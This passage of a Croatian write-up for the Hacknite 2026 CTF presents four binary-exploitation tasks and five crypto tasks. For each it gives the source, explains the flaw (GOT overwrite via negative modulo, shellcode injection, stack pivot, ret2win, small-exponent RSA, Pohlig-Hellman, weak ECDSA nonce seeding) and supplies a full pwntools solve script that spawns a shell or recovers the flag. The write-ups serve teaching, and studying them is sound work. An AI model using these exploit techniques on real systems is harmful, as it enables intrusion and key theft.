commands[10]){ effects[idx%max] = 0; idx++; } else if(command == commands[11]){ break; } last_command = command; } system("clear"); cout << "Uređivanje završilo.\n" "ASCII art:\n"; print_ascii(buf, -1, max); } ...
Izlaz naredbe file i pwn checksec:
file a.out: a.out: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /ctf/libs/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a9c735f82be73122c00469c6653d40bcefe934d0, not stripped pwn checksec a.out: [!] Could not populate PLT: Invalid argument (UC_ERR_ARG) [*] '/hacknite_2026/pwn/colorizer/a.out' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3fd000) RPATH: b'./libs/'
Program predstavlja ASCII editor za dodavanje ANSI efekata. Korisniku su dane različite mogućnosti dodavanja boje, brisanja boje, pomicanje pokazivača i slično.
Funkcijom main, nakon ispisa uvoda, poziva se funkcija colorize. Unutar nje, korisnika se traži unos u varijablu buf koji predstavlja ASCII simbole
koji se editiraju. Polje effects definirano u .bss sekciji predstavlja efekte koji će biti prikazani
u ispisu.
Svaki simbol u varijabli buf ima za sebe definiran efekt poljem effects, gdje je korelacija definirana indeksom.
Na primjer, effects[0] definira efekte za buf[0] itd…
Indeks pokazivača na simbol koji se uređuje predstavljen je varijablom int idx = max gdje je max veličina unosa u polje buf.
Pokazivač idx se pomiče ciklički jer je ograničen varijablom max, odnosno:
for(int i = 0; i < 8; i++){ if(command == commands[i]){ effects[idx%max] |= 1<<i; idx++; break; } }
Ranjivost i ideja napada
Ranjivost je način korištenja operatora % za ograničavanje varijable idx. Operator % u C programskom jeziku
očuva predznak vrijednosti, odnosno, ako je idx negativan, rezultat operatora % će također biti negativan.
To je djelomično prikriveno u programu jer je idx inicijaliziran na vrijednost max.
Pomicanje pokazivača unatrag naredbom RETURN u prvom ciklusu i dalje ispravno pokazuje na effects polje.
Jednom kada idx postane negativan, dobije se out of bounds primitiv kojim je moguće uređivati bajtove prije
effects polja, odnosno, .got.plt sekcije.
Kako bi se zadatak riješio, najprije je potrebno poslati dovoljno velik unos u polje buf kako bi ograničenje varijablom
max bilo dovoljno veliko za offset do .got.plt sekcije. Zatim korištenjem naredbe RETURN potrebno je doći do
vrijednosti u .got.plt koje je potrebno prepisati. U rješenju se koriste funkcije strcmp i exit
koje se redom prepisuju na vrijednosti adresa funkcija system i colorize.
Primitiv za pisanje po memoriji dan je samim naredbama programa. ERASE se koristi za postavljanje bajta na 0x00. Različite boje se koriste za postavljanje bitova u bajtu:
for(int i = 0; i < 8; i++){ if(command == commands[i]){ effects[idx%max] |= 1<<i;
Kada se vrijednosti ispravno prepišu i uređivanje se završi, funkcija main poziva exit koja zbog prepisivanja ponovno
poziva colorize. Unutar colorize se poziva strcmp, odnosno system, s argumentom buf u kojem se nalazi proizvoljni string
nakon ponovnog upita za unos (“/bin/sh”).
Rješenje
from pwn import * e = ELF("./a.out") colors = [b"BLACK", b"RED", b"GREEN", b"YELLOW", b"BLUE", b"PURPLE", b"BROWN", b"WHITE"] if args.D: p = gdb.debug("./a.out", "c") elif args.R: p = remote("HOST", port) else: p = process("./a.out") p.sendline() p.sendline() payload = b"A" * 0x400 p.send(payload) sleep(1) for _ in range(0x400): p.sendline("RETURN") strcmp_addr = e.sym["got.strcmp"] exit_addr = e.sym["got.exit"] colorize = 0x4024da system_plt = 0x4020f0 effects = e.sym["effects"] for _ in range(effects - strcmp_addr): p.sendline(b"RETURN") for _ in range(8): p.sendline(b"ERASE") for _ in range(8): p.sendline(b"RETURN") def setup_byte(byte): for i in range(8): if(b & (1<<i)): p.sendline(colors[i]) p.sendline(b"RETURN") for b in p64(system_plt): setup_byte(b) p.sendline(b"MOVE") for _ in range(8): p.sendline(b"RETURN") for _ in range(strcmp_addr - exit_addr): p.sendline(b"RETURN") for _ in range(8): p.sendline(b"ERASE") for _ in range(8): p.sendline(b"RETURN") for b in p64(colorize): setup_byte(b) p.sendline(b"MOVE") p.sendline(b"QUIT") p.send(b"/bin/sh\x00") p.interactive()
Fix Me
Treba mi pomoć! Funkcija mi ne radi ispravno. Dajem ti source kod da vidiš što treba raditi. Molim te, popravi ju. Spoji se na servis naredbom netcat: nc chal.hacknite.hr 19001
Kontekst zadatka
Dana je binarna datoteka s izvornim kodom:
void funkcija(){ long a = 5; int b = 100; short brojevi[10]; long rezultat = 0; for(int i = 0; i < 100; i++){ rezultat++; brojevi[i%10] = 3 + b/a; b -= a; a += b; rezultat *= a+b; rezultat = rezultat % 2^15; } printf("Rezultat je: %ld\n", rezultat); } int main(){ setbuf(stdin, NULL); setbuf(stdout, NULL); printf(banner); printf("\n\nMoja funkcija se krivo kompajlirala" ", možeš li joj popraviti bajtove?\n\n"); while(1){ printf("Run or fix? "); char buf[8]; fgets(buf, 8, stdin); if (strncmp("run", buf, 3) == 0) funkcija(); else if (strncmp("fix", buf, 3) == 0) { unsigned char* byte = (unsigned char*) &funkcija; while(*byte != 0xc3) { printf("0x%02X -> ", *byte); unsigned char new_byte; scanf("0x%hhx", &new_byte); getchar(); *byte = new_byte; byte++; } printf("\n"); } } return 0; }
Korisnik ima opciju pokretanja funkcije funkcija unosom “run” ili popravljanja
iste funkcije unosom “fix”.
Unosom “fix” korisnik prepisuje bajtove funkcije funkcija.
Ranjivost i ideja napada
S obzirom na to da korisnik upisuje bajtove funkcije koja se kasnije pozivaju, radi se o unosu shellcodea. Potrebno je generirati shellcode za pozivanje ljuske. Rješenje koristi instrukciju syscall.
Rješenje
from pwn import * context.arch = "amd64" context.os = "linux" e = ELF("a.out") funkcija = e.sym["funkcija"] shellcode = asm(f""" xor rsi, rsi xor rdx, rdx mov rdi, {funkcija + 22} mov rax, 59 syscall """) if args.D: gdb.debug("./a.out") elif args.R: p = remote(HOST, PORT) else: p = process("./a.out") p.sendline(b"fix") for b in shellcode: p.sendline(hex(b).encode()) for b in b"/bin/sh\x00": p.sendline(hex(b).encode()) p.sendline(b"a"*100) p.clean(0.5) p.sendline(b"run") p.interactive()
Sladoledarnica
Ljeto je završilo, ali uvijek je vrijeme za sladoled. Naruči svoje kuglice! Spoji se na servis naredbom netcat: nc chal.hacknite.hr 19002
Kontekst zadatka
Dan je izvorni kod:
... char* unos_narudzba; int idx; int unos_idx; void kupon(){ FILE* flag = fopen("./flag.txt","r"); char buf[30] = {0}; fread(buf,1,29,flag); char buf2[200] = {0}; snprintf(buf2,200, "Hvala na kupnji!\n" "Nadamo se da ste uživali u sladoledu.\n" "Iskoristite ovaj kupon idući put: %s\n", buf); puts(buf2); } unsigned long narudzba(){ unos_narudzba = (char *) malloc(0x1000); unsigned long cijena; char* odabrani_sladoled[5] = {0}; ponovi: memset(unos_narudzba, 0, 0x1000); cijena = 0; idx = 0; unos_idx = 0; printf("Koja je vaša narudžba? Slobodno nam ostavite i komentar!\n> "); fgets(unos_narudzba, 0x1000, stdin); for(; (idx < sizeof(odabrani_sladoled)) && (unos_idx < 0x1000); unos_idx++){ for(volatile int i = 0; i < 6; i++){ if ((strncmp(sladoled[i].okus, unos_narudzba+unos_idx, strlen(sladoled[i].okus))) == 0){ odabrani_sladoled[idx++] = unos_narudzba + unos_idx; cijena += sladoled[i].cijena; break; } } if ((strncmp("ponovi", unos_narudzba+unos_idx, 6)) == 0) goto ponovi; if ((strncmp("gotovo", unos_narudzba+unos_idx, 6)) == 0) break; } if (cijena > 5) { printf("Odabrali ste više od 5 kuglica.\n"); exit(0); } return cijena; } int main(){ setbuf(stdin, NULL); setbuf(stdout, NULL); puts(banner); printf( "Dobrodošli u ovogodišnju sladoledarnicu!\n\n" "U ponudi su fini okusi poput %s, %s, %s i mnogi drugi.\n" "Možete odabrati najviše pet kuglica.\n" "Na kraju nemojte zaboraviti platiti!\n", sladoled[0].okus, sladoled[1].okus, sladoled[2].okus); unsigned long cijena = narudzba(); printf("Cijena vašeg sladoleda je %lu €. Doviđenja!\n", cijena); return 0; }
Program od korisnika traži unos narudžbe sladoleda. Ima opciju upisati okuse poput vanilije i čokolade, ali i opciju ponavljanja narudžbe unosom “ponovi”.
Ranjivost i ideja napada
Ranjivost programa nalazi se u liniji:
for(; (idx < sizeof(odabrani_sladoled)) && (unos_idx < 0x1000); unos_idx++){
Sizeof() operator vraća veličinu polja u bajtovima, a ne broj članova polja.
Drugim riječima, varijabla idx bit će veća od pet ako korisnik upiše više od pet okusa sladoleda.
Time korisnik dobije unos heap adresa na stog.
Unos heap adrese na poziciju return adrese srušit će program, što znači da nije moguća klasična izmjena toka programa.
Međutim, prije return adrese nalazi se spremljena vrijednost RBP registra, što dopušta stack pivot.
Ako se u unosu narudžbe krivotvori okvir stoga s return adresom funkcije kupon te se
spremljena vrijednost RBP registra izmijeni na adresu okvira, na izlazu iz main funkcije
pozvati će se kupon.
Rješenje
from pwn import * e = ELF("./a.out") r = ROP("./a.out") if args.D: p = gdb.debug("./a.out") elif args.R: p = remote(HOST, PORT) else: p = process("./a.out") p.sendline(b"A" * 0x900 + b"vanilija"*7 + b"ponovi") length = len(b"vanilija" * 6) + 0x900 kupon = e.sym["kupon"] payload = b"A" * length + p64(12345678) + p64(r.ret.address) + p64(kupon) + b"gotovo" p.sendline(payload) p.interactive()
Napomena: b“A” * 0x900 se šalje kako bi stog imao dovoljno prostora za pozive unutar kupon funkcije
bez rušenja programa.
Warmup
Vrijeme je za binarnu eksploataciju! Zagrij se uz ovaj zadatak. Spoji se na servis naredbom netcat: nc chal.hacknite.hr 19000
Kontekst zadatka
Dana je binarna datoteka s izvornim kodom:
#include <stdio.h> #include <stdlib.h> void ret2win(){ system("/bin/sh"); } int main(){ setbuf(stdin, NULL); setbuf(stdout, NULL); system("printf \"Hacknite 2026\nWarmup\n\" | figlet"); printf("Pozdrav!\n" "Kako se zoveš?\n> "); char buf[0x20] = {0}; scanf("%s", buf); printf("Bok %s, drago mi je.\n", buf); return 0; }
Program pita korisnika za ime i ispisuje string s imenom.
Ranjivost i ideja napada
Riječ je o jednostavnom ret2win napadu. Funkcija scanf koristi
parametar %s, što je nesiguran način unosa stringa jer je neograničena veličina.
Time korisnik ima stack buffer overflow kojim može prepisati return adresu
na ret2win funkciju.
Rješenje
from pwn import * e = ELF("./a.out") r = ROP("./a.out") if args.D: p = gdb.debug("./a.out") elif args.R: p = remote(HOST, PORT) else: p = process("./a.out") p.sendline(b"A" * 0x28 + p64(r.ret.address) + p64(e.sym["ret2win"])) p.interactive()
Kriptografija
Beginner RSA
Priložena je jednostavna RSA enkripcija nad tajnom porukom. Možeš li ju dekriptirati? Spoji se na servis naredbom netcat: nc chal.hacknite.hr 16000
Kontekst zadatka
Izvorni kod:
#!/usr/bin/python3 from Crypto.Util.number import * import os flag = b"CTF2026[????????????]" flag = bytes_to_long(flag) N = getPrime(512) * getPrime(512) e = 123 C = pow(flag,e,N) os.system("figlet Beginner RSA") print(f"\nN = {N}") print(f"C = {C}")
Korisniku se ispiše modulo N i enkripcija zastavice javnim
ključem 123.
Ranjivost i ideja napada
Ranjivost je korištenje malenog javnog eksponenta. Sakupljanjem dovoljno
parova enkripcije i modula N, korisnik može rekonstruirati rezultat
eksponencije i vrijednosti zastavice.
Rješenje
from Crypto.Util.number import * from sage.all import * from pwn import * moduli = [] enc = [] for i in range(21): if args.R: p = remote(HOST, PORT) else: p = process(["python3", "zadatak.py"]) p.recvuntil(b"N = ") N = p.recvline()[:-1] p.recvuntil(b"C = ") C = p.recvline()[:-1] moduli.append(int(N)) enc.append(int(C)) if args.R: p.close() else: p.kill() m = crt(enc, moduli) print(long_to_bytes(m.nth_root(123)))
Diffie Hellman
Implementiran je jednostavni algoritam Diffie-Hellman za kreiranje simetričnog ključa. Možeš li saznati privatni ključ? Spoji se na servis naredbom netcat: nc chal.hacknite.hr 16001
Kontekst zadatka
Dan je izvorni kod sa sakrivenom zastavicom:
#!/usr/bin/python3 from Crypto.Util.number import * import os flag = b"CTF2026[????????????]" flag = bytes_to_long(flag) N = getPrime(128) G = getPrime(20) os.system("figlet -f big Diffie Hellman") print(f"\nN = {N}") print(f"G = {G}\n") print(f"Moj dio ključa: {pow(G,flag,N)}") try: key = int(input("Tvoj dio ključa: ")) % N except: exit() key = pow(key,flag,N) poruka = bytes_to_long(b"Hacknite 2026") print(f"Poruka: {poruka^key}")
Implementiran je jednostavni algoritam Diffie Hellman. Korisniku
se pošalju generator G, modulo N i poslužiteljev dio ključa
pri čemu je tajni eksponent zastavica.
Zatim, od korisnika se traži njegov dio ključa nakon čega se šalje enkriptirana poruka “Hacknite 2026”.
Ranjivost i ideja napada
Ranjivost je primanje proizvoljnog ključa bez provjere reda generatora. Korisnik može izvesti Pohlig-Hellman napad, odnosno poslati generatore manjeg reda i skupljati podatke o dobivenim rezultatima.
Nakon dovoljno sakupljenih podataka, korištenjem CRT algoritma, korisnik može rekonstruirati tajni ključ.
Rješenje
from sage.all import * from Crypto.Util.number import * from pwn import * M = 1 factors = [] remainders = [] poruka = bytes_to_long(b"Hacknite 2026") while(len(bin(M))<171): if args.R: p = remote(HOST, PORT) else: p = process(["python3","zadatak.py"]) p.recvuntil(b"N = ") N = int(p.recvline()[:-1]) p.recvuntil(b"G = ") G = int(p.recvline()[:-1]) p.recvuntil("Moj dio ključa: ".encode("UTF-8")) key1 = int(p.recvline()[:-1]) for f,n in factor(N-1): l = len(bin(f)) - 2 if l > 18: continue if f not in factors and n == 1: F = GF(N) G2 = F(G) G2 = pow(G2, (N-1)//f, N) while(G2 == 1): G2 = F(getPrime(25)) G2 = pow(G2, (N-1)//f, N) p.sendline(str(int(G2)).encode()) p.recvuntil(b"Poruka: ") target = int(p.recvline()[:-1]) ^ poruka for r in range(0,f): if pow(G2,r,N) == target: factors.append(f) M *= f remainders.append(r) break break if args.R: p.close() else: p.kill() print(remainders, factors) flag = crt(remainders, factors) print(long_to_bytes(flag))
Easy XOR
flag.enc je enkriptirani flag u uobičajenom formatu. Znamo da je enkriptiran pomoću XOR-a, korištenjem ključa koji je kraći od zastavice i ciklički se ponavlja, no ključ ni njegova duljina nisu poznati. Možete li dešifrirati flag? Također je poznat i bcrypt hash flaga: $2y$14$nJYvy7QPUEO.ZrDuznzekeoqsczV0652HwW2g1WPfhSjphnpUNyiq
Kontekst zadatka
Dana je enkripcija zastavice i opis zadatka u kojemu je otkriveno
da je korišten ključ kraći od zastavice te se ciklički ponavlja. Također je dan bcrypt sažetak zastavice. Pošto je bcrypt komputacijski vrlo zahtjevan algoritam, potrebno je smanjiti broj mogućih kandidata na što manji skup prije zadnjeg koraka pronalaska zastavice s pomoću bcrypt sažetka.
Rješenje
#!/usr/bin/env python3 PREFIX = b"CTF2026[" SUFFIX = b"]" with open("flag.enc", "rb") as f: ct = f.read() N = len(ct) def candidates_for_key_position(key_len, key_pos): candidates = set(range(256)) for i in range(N): if i % key_len != key_pos: continue if i < len(PREFIX): allowed_plaintext = [PREFIX[i]] elif i == N - 1: allowed_plaintext = [ord("]")] else: allowed_plaintext = range(ord("0"), ord("9") + 1) allowed_key = { ct[i] ^ p for p in allowed_plaintext } candidates &= allowed_key return sorted(candidates) def get_key_candidates(key_len): return [ candidates_for_key_position(key_len, k) for k in range(key_len) ] def decrypt(key): return bytes( ct[i] ^ key[i % len(key)] for i in range(N) ) print(f"[+] Ciphertext length: {N}") print("[+] Searching for KEY_LEN...\n") possible_lengths = [] for key_len in range(1, N): candidates = get_key_candidates(key_len) if all(candidates): possible_lengths.append((key_len, candidates)) print(f"[+] KEY_LEN={key_len} is possible") else: print(f"[-] KEY_LEN={key_len} impossible") if len(possible_lengths) != 1: print() print(f"[!] Expected exactly one key length, found {len(possible_lengths)}") exit(1) key_len, candidates = possible_lengths[0] print() print("=" * 70) print(f"[+] UNIQUE KEY_LEN = {key_len}") print("=" * 70) print() print("[+] Key byte candidates:") for i, c in enumerate(candidates): print(f" key[{i:2}] = {c}") import itertools num_combinations = 1 for c in candidates: num_combinations *= len(c) print() print(f"[+] Total possible keys: {num_combinations:,}") print("[+] Searching for valid flag...\n") solutions = [] for key_tuple in itertools.product(*candidates): key = bytes(key_tuple) plaintext = decrypt(key) if not plaintext.startswith(PREFIX): continue if not plaintext.endswith(SUFFIX): continue middle = plaintext[len(PREFIX):-len(SUFFIX)] if not middle: continue if not all(48 <= b <= 57 for b in middle): continue solutions.append((key, plaintext)) print("=" * 70) if not solutions: print("[!] No valid key/flag found.") exit(1) print(f"[+] Found {len(solutions)} solution(s)") print("=" * 70) for n, (key, flag) in enumerate(solutions, 1): print() print(f"Solution #{n}") print("-" * 40) print(f"KEY_LEN : {len(key)}") print(f"KEY HEX : {key.hex()}") print(f"KEY : {key!r}") print(f"FLAG : {flag.decode()}") import bcrypt FLAG_HASH = b"$2y$14$nJYvy7QPUEO.ZrDuznzekeoqsczV0652HwW2g1WPfhSjphnpUNyiq" print() print("=" * 70) print(f"[+] Testing {len(solutions)} candidate flags against bcrypt hash") print("=" * 70) for n, (key, flag) in enumerate(solutions, 1): print(f"[+] Checking candidate {n}/{len(solutions)}: {flag.decode()}") if bcrypt.checkpw(flag, FLAG_HASH): print() print("=" * 70) print("[+] MATCH FOUND") print("=" * 70) print(f"KEY_LEN : {len(key)}") print(f"KEY HEX : {key.hex()}") print(f"KEY : {key!r}") print(f"FLAG : {flag.decode()}") print("=" * 70) break else: print() print("[!] None of the candidates matched the bcrypt hash.")
ECC Log In
Kako bi se korisnik autentificirao, dodijeljen mu je ECC potpis nakon registracije. Možeš li pronaći grešku u implementaciji? Spoji se na servis naredbom netcat: nc chal.hacknite.hr 16005
Kontekst zadatka
Dan je izvorni kod:
#!/usr/bin/python3
from Crypto.Util.number import *
import random, time, os
from ECC import *
from secret import *
Q = scale(G, d)
def log_in():
try:
username = input("Unesi korisničko ime: ")
signature = input("Unesi potpis korisničkog imena: ").strip("()").split(",")
h = bytes_to_long(username.encode("UTF-8"))
r, s = int(signature[0]) % n, int(signature[1]) % n
if r == 0 or s == 0:
print("Krivotvoren potpis")
exit()
s_inv = inverse(s, n)
u1 = (h * s_inv) % n
u2 = (r * s_inv) % n
R_1 = scale(G, u1)
R_2 = scale(Q, u2)
R = add(R_1, R_2)
if (R.x % n) == r:
print(f"Dobrodošao {username}")
if username == "Admin":
print(f"{flag=}")
else:
print("Neispravan potpis")
exit()
except:
exit()
def register():
try:
username = input("Unesi korisničko ime: ")
u = bytes_to_long(username.encode("UTF-8"))
u = u % n
username = long_to_bytes(u).decode("UTF-8")
if username == "Admin":
print("Zabranjeno")
exit()
h = bytes_to_long(username.encode("UTF-8"))
random.seed(int(time.time()) + d % 1000)
k = random.randint(1, n-1)
R = scale(G, k)
r = R.x % n
s = 0
while (s == 0):
while(r == 0):
k = random.randint(1, n-1)
R = scale(G, k)
r = R.x % n
s = (inverse(k, n) * (h + r * d)) % n
signature = (r, s)
print(f"Potpis = {signature}")
except Exception as e:
print(e)
exit()
os.system("figlet -f big ECC Log In")
print("\nOdaberi opciju:")
print("1. Registracija\n2. Prijava")
opcija = input("Opcija [1/2]: ")
if opcija == "1":
register()
elif opcija == "2":
log_in()
Korisniku su ponuđene opcije registracije i prijave.
Kako bi se registrirao, potrebno je unijeti korisničko ime nakon čega poslužitelj vraća digitalni potpis korisničkog imena.
Da bi se korisnik prijavio, potrebno je unijeti korisničko ime i ispravni digitalni potpis.
Ranjivost i ideja napada
Ranjivost u implementaciji je predvidljivi seed za random modul u liniji:
random.seed(int(time.time()) + d % 1000)
Bruteforce napadom moguće je saznati korišteni nonce i dobiti
privatni ključ formulom: d = (s * k - h) * r^-1 % n.
Jednom kada je tajni ključ poznat, može se krivotvoriti potpis za admina: s = k^-1 * (h + r * d) % n.
Rješenje
from pwn import *
from Crypto.Util.number import *
from ECC import *
import time, random
if args.R:
p = remote(HOST, PORT)
else:
p = process("./zadatak.py")
p.sendline(b"1")
p.recvuntil("Unesi korisničko ime: ".encode("UTF-8"))
p.sendline(b"gibberish")
t = int(time.time())
p.recvuntil(b"Potpis = ")
signature = p.recvline()[:-1].strip(b"()").split(b",")
r, s = int(signature[0]), int(signature[1])
if args.R:
p.close()
else:
p.kill()
# s = k^-1 * (h + r * d) % n
# d = (s * k - h) * r^-1 % n
h = bytes_to_long(b"gibberish")
for i in range(0,1000):
t1 = t + i
random.seed(t1)
k = random.randint(1, n-1)
r1 = scale(G,k).x % n
if r1 == r:
break
if r1 != r:
exit()
d = (s * k - h) * inverse(r,n) % n
Q = scale(G,d)
h = bytes_to_long(b"Admin")
k = 1
r = G.x % n
s = (inverse(k, n) * (h + r * d)) % n
if args.R:
p = remote(HOST, PORT)
else:
p = process("./zadatak.py")
p.sendline(b"2")
p.recvuntil("Unesi korisničko ime: ".encode("UTF-8"))
p.sendline(b"Admin")
p.sendline(f"({r},{s})".encode())
p.recvuntil(b"flag=")
print(p.recvline()[:-1])
Play fair
Pronađen je čudan program sa sakrivenom porukom. Možeš li saznati koje je značenje poruke? Spoji se na servis naredbom netcat: nc chal.hacknite.hr 16002
Kontekst zadatka
Izvorni kod:
#!/usr/bin/python3 from secret import * import os, time, sys characters = [ chr(b) for b in range(32, 127) ] table = [] for char in phrase: if char not in table and char in characters: table.append(char) for char in characters: if char not in table: table.append(char) key = [[0 for _ in range(19)] for _ in range(5)] index = 0 for row in range(5): for col in range(19): key[row][col] = table[index] index += 1 def find_position(char, key): for row in range(5): for col in range(19): if key[row][col] == char: return row, col return None def encrypt(text, key): cipher = "" for c in text: if c not in characters: print("Simbol nije dozvoljen") exit(0) if len(text) % 2 == 1: text += "." for i in range(len(text)//2): pair = text[i*2:i*2+2] if pair[0] == pair[1]: pair = pair[0] + "." row1, col1 = find_position(pair[0], key) row2, col2 = find_position(pair[1], key) if row1 == row2: col1 = (col1 + 1) % 19 col2 = (col2 + 1) % 19 cipher += key[row1][col1] + key[row2][col2] elif col1 == col2: row1 = (row1 + 1) % 5 row2 = (row2 + 1) % 5 cipher += key[row1][col1] + key[row2][col2] else: tmp1 = col1 col1 = col2 col2 = tmp1 cipher += key[row1][col1] + key[row2][col2] return cipher def decrypt(cipher, key): text = "" for c in cipher: if c not in characters: print("Simbol nije dozvoljen") exit(0) if len(cipher) % 2 == 1: print("Krivi ciphertext") exit() for i in range(len(cipher)//2): pair = cipher[i*2:i*2+2] row1, col1 = find_position(pair[0], key) row2, col2 = find_position(pair[1], key) if row1 == row2: col1 = (col1 - 1) % 19 col2 = (col2 - 1) % 19 text += key[row1][col1] + key[row2][col2] elif col1 == col2: row1 = (row1 - 1) % 5 row2 = (row2 - 1) % 5 text += key[row1][col1] + key[row2][col2] else: tmp1 = col1 col1 = col2 col2 = tmp1 text += key[row1][col1] + key[row2][col2] return text with open("/ctf/table.txt") as f: table = f.read().split("\n") os.system("clear") os.system("figlet -f big PlayFair") encryption = encrypt(flag, key) skip = input("\nPrikaži enkripciju? [Y/n]: ") if skip != "n": print("Flag enkripcija: ") for i in range(len(encryption)): char = encryption[i] row, col = find_position(char, key) for bg in ["\033[41m", ""]: output = "" for j in range(5): output += table[j*2] + "\n" content = table[j*2+1] if bg and j == row: # Highlight only the character at this position pos = 0 # Add content before the highlighted character output += content[pos:col*4+1] # Add the highlighted character output += bg + content[col*4+1:col*4+4] + "\033[0m" pos = col*4+4 # Add the rest of the content output += content[pos:] + "\n" else: output += content + "\n" output += table[10] print(output) sys.stdout.flush() time.sleep(1) print("\033[11A", end="") print("\033[J", end="") sys.stdout.flush() print("\033[1A\033[J", end="") sys.stdout.flush() try: print("\033[1A\033[J", end="") sys.stdout.flush() while(True): plaintext = input("Poruka: ") print("Enkripcija:", encrypt(plaintext, key)) except: exit()
Zadatak koristi Playfair algoritam nad tablicom veličine 5*19. Kada se pokrene, nudi opciju prikazivanja enkripcije zastavice nakon čega enkriptira unos korisnika u petlji.
Za šifriranje poruke, poruka se podijeli u skupine od 2 slova tako da, na primjer, “HelloWorld” postaje “HE LL OW OR LD”. Ti će se parovi zamijeniti s pomoću tablice.
Budući da šifriranje zahtijeva parove slova, porukama s neparnim brojem znakova obično se dodaje poseban simbol, u ovom slučaju ..
Dva slova smatraju se suprotnim kutovima pravokutnika u ključnoj tablici. Za provedbu zamjene primjenjuju se sljedeća 4 pravila, redom, na svaki par slova:
1. Ako su oba slova ista (ili je ostalo samo jedno slovo), dodajte . nakon prvog slova.
Šifrirajte novi par i nastavite.
2. Ako se slova pojavljuju u istom retku tablice, zamijenite ih slovima koja se nalaze neposredno desno od njih (prelazeći na lijevu stranu retka ako je slovo iz izvornog para bilo na desnoj strani retka).
3. Ako se slova pojavljuju u istom stupcu tablice, zamijenite ih slovima koja se nalaze neposredno ispod njih (prelazeći na gornju stranu stupca ako je slovo iz izvornog para bilo na donjoj strani stupca).
4. Ako slova nisu u istom retku ni stupcu, zamijenite ih slovima u istom retku, ali na drugom paru kutova pravokutnika određenog izvornim parom. Redoslijed je važan – prvo slovo šifriranog para je ono koje se nalazi u istom retku kao prvo slovo para otvorenog teksta.
Ranjivost i ideja napada
Ranjivost programa je kontinuirano kriptiranje proizvoljnog unosa. Kako bi se zadatak riješio, potrebno je rekonstruirati tablicu koja se koristi za šifriranje.
Kako bi se tablica rekonstruirala, moraju se dobiti odnosi simbola u retcima i stupcima tablice.
Ako se kao poruka pošalje .., enkripcija vraća UU. To znači da se u istom retku desno od znaka .
nalazi U. Ako se zatim pošalje UU enkripcija vraća vU što znači da se desno od znaka U nalazi v.
Dokle god se pošalju dva znaka u istom retku, enkripcija će vratiti znakove desno od njih.
Ovim postupkom može se dobiti redoslijed svih znakova u retku, ali ne zna se koji im je pravi indeks u njemu. Ovaj redak će se nazivati prvobitno dobiveni redak u nastavku teksta.
Kako bi se rekonstruirali ostali retci/stupci u tablici šalje se znak koji još nije pojavio te bilo koji znak iz prvobitno dobivenog retka. Ovisno o vraćenoj enkripciji, odnos poslanih znakova može biti idući:
1. Oba znaka se nalaze u istom stupcu, ali različitom retku.
2. Oba znaka se nalaze u različitom stupcu i retku.
Ako oba znaka enkripcije nisu u prvobitno dobivenom retku, radi se o slučaju 1. Time otkrivamo koji znak se nalazi ispod odabranog znaka u prvobitno dobivenom retku.
Ako je u enkripciji drugi znak član prvobitno dobivenog retka, radi se o slučaju 2.
Poseban slučaj je ako su poslana dva znaka u istom stupcu, ali prvi znak se nalazi iznad drugog. Time u enkripciji prvi znak je jednak drugome u poslanoj poruci.
Praćenjem ovih pravila mogu se rekonstruirati odnosi znakova u tablici, no još uvijek nije poznat njihov pravi indeks.
Kako bi se dobio indeks, potrebno je iskoristiti enkripciju zastavice prikazanu na početku programa.
Zastavica počinje znakovima CT, a njihova enkripcija je FV.
To znači da su u enkripciji prikazani indeksi znaka F i zatim V.
Ako se konstruirana tablica fiksira na indekse tako da se F nalazi na
indeksu koji je prikazan u tablici na početku programa, uspješno je rekonstruirana tablica.
Sve što je preostalo jest pratiti indekse dane u enkripciji zastavice i otkriti koji znakovi su prikazani.
Rješenje
from pwn import * #p = process("./zadatak.py") p = remote(HOST, PORT) p.sendline(b"n") table = [[" " for _ in range(19)] for i in range(5)] found_chars = [] last_char = b"." def get_row(): for i in range(19): global last_char p.sendline(last_char * 2) p.recvuntil(b"Enkripcija: ") last_char = p.recvline()[0:1] table[0][i] = last_char found_chars.append(last_char) def get_column(char, idx): column = [] p.sendline(char+table[0][idx]) p.recvuntil(b"Enkripcija: ") enc = p.recvline()[:-1] b1 = enc[0:1] b2 = enc[1:] if b1 == table[0][idx]: #char iznad table[0][idx] column.append(char) column.append(table[0][idx]) column.append(b2) for i in range(2): c1 = column[-2] c2 = column[-1] p.sendline(c1+c2) p.recvuntil(b"Enkripcija: ") b2 = p.recvline()[1:2] column.append(b2) return (column, idx) elif b2 in table[0]: #char u drugom retku i stupcu idx2 = table[0].index(b2) return get_column(char, idx2) else: #char u istom stupcu column.append(char) column.append(b1) for i in range(3): c1 = column[-2] c2 = column[-1] p.sendline(c1+c2) p.recvuntil(b"Enkripcija: ") b2 = p.recvline()[1:2] column.append(b2) return (column, idx) get_row() def print_table(table): for i in range(5): print(table[i]) for i in range(32,127): if chr(i).encode() not in found_chars: column, idx = get_column(chr(i).encode(), 0) idx2 = column.index(table[0][idx]) for j in range(4): table[1+j][idx] = column[(idx2+1+j) % 5] found_chars.append(column[(idx2+1+j) % 5]) # Index 3,4 je u prikazu enkripcije. "CT" iz CTF2026[...] se # pretvori u "FV". Potrebno je namjestiti tablicu da se F nalazi na # indeksu 3,4. indexes = [ (3,4) , (3,18), (3,8), (2,4), (2,8), (2,9), (2,4), (4,11), (1,8), (2,7), (1,9), (2,5), (1,12), (2,11), (1,10), (1,8), (2,11), (1,12), (1,6), (1,2), (4,1), (1,6)] def get_index(char, table): for i in range(5): for j in range(19): if table[i][j] == char: return i, j row, col = get_index(b"F", table) key = [["" for i in range(19)] for _ in range(5)] for i in range(5): for j in range(19): key[(3+i) % 5][(4+j) % 19] = table[(row + i) % 5][(col + j) % 19] # Kopirano iz zadatak.py i uređeno def decrypt(cipher, key): text = b"" for i in range(len(cipher)//2): pair = cipher[i*2:i*2+2] row1, col1 = get_index(pair[0:1], key) row2, col2 = get_index(pair[1:], key) if row1 == row2: col1 = (col1 - 1) % 19 col2 = (col2 - 1) % 19 text += key[row1][col1] + key[row2][col2] elif col1 == col2: row1 = (row1 - 1) % 5 row2 = (row2 - 1) % 5 text += key[row1][col1] + key[row2][col2] else: tmp1 = col1 col1 = col2 col2 = tmp1 text += key[row1][col1] + key[row2][col2] return text decryption = b"" for i in range(len(indexes)//2): row1, col1 = indexes[i*2] row2, col2 = indexes[i*2+1] enc = key[row1][col1] + key[row2][col2] decryption += decrypt(enc, key) print(decryption)
Hash it out
